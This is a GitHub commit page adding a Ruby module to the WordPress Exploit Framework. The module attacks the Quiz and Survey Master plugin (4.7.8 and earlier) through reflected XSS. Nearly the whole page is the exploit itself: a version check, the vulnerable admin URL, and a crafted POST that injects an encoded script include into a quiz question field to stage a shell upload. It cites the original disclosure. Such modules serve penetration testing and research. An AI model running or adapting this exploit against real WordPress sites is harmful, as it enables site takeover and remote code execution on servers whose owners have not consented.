Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit a7f6b4f

Browse files
committed
Add Quiz and Survey Master reflected XSS shell upload
1 parent c00031d commit a7f6b4f

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
class Wpxf::Exploit::QuizAndSurveyMasterReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Quiz And Survey Master <= 4.7.8 Reflected XSS Shell Upload',
9+
author: [
10+
'Tom Adams', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8698'],
15+
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/63']
16+
],
17+
date: 'Dec 15 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('quiz-master-next', '4.7.9')
23+
end
24+
25+
def quiz_id
26+
@quiz_id ||= Utility::Text.rand_numeric(3)
27+
end
28+
29+
def vulnerable_url
30+
normalize_uri(wordpress_url_admin, "admin.php?page=mlw_quiz_options&quiz_id=#{quiz_id}")
31+
end
32+
33+
def initial_script
34+
create_basic_post_script(
35+
vulnerable_url,
36+
'question_type' => '0',
37+
'question_name' => "<script>#{xss_ascii_encoded_include_script}<\\/script>",
38+
'question_submission' => 'new_question',
39+
'quiz_id' => quiz_id
40+
)
41+
end
42+
end

0 commit comments

Comments
 (0)